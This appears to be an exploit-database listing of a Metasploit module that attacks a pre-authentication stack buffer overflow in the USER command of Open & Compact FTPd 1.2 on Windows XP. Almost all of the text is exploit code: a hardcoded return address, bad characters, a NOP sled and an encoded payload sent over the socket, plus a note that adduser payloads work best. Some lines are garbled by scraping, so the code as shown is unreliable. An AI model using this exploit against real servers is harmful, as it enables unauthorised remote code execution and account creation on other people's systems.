(Gabriel’s FTP Server) Open & Compact FTPd 1.2 – Buffer Overflow (Metasploit)
# Exploit Title: Open & Compact FTPd 1.2 Pre-Authentication Buffer Overflow MSF # Date: March 14, 2010 # Author: Blake # Version: 1.2 # Tested on: XP SP3 Exploit causes the ftp server to crash so adduser, etc. payloads are most effective. require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'Open & Compact FTPd 1.2 Pre-Authentication Buffer Overflow', 'Description' => %q{ This module exploits a stack overflow in the USER verb in Open & Compact FTPd version 1.2. The program will crash once the payload is sent, so bind shell payloads are not effective. }, 'Author' => 'Blake', 'License' => MSF_LICENSE, 'Version' => 'Version 1', 'References' => [ [ 'EDB-ID', '11420'], [ 'URL', 'http://www.exploit-db.com/exploits/11420' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 400, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2/SP3 English', { 'Ret' => 0x00202c42 } ], ], 'DisclosureDate' => 'Feb 12, 2010', 'DefaultTarget' => 0)) end def exploit connect sploit = "\x42\x2c\x20" * 199 sploit << make_nops(10) sploit << payload.encoded print_status("Trying target {target.name<http://target.name>}...") login = "USER + sploit + \r\n" login << "PASS " + rand_text_alphanumeric(12) sock.put(login + "\r\n") handler disconnect end end |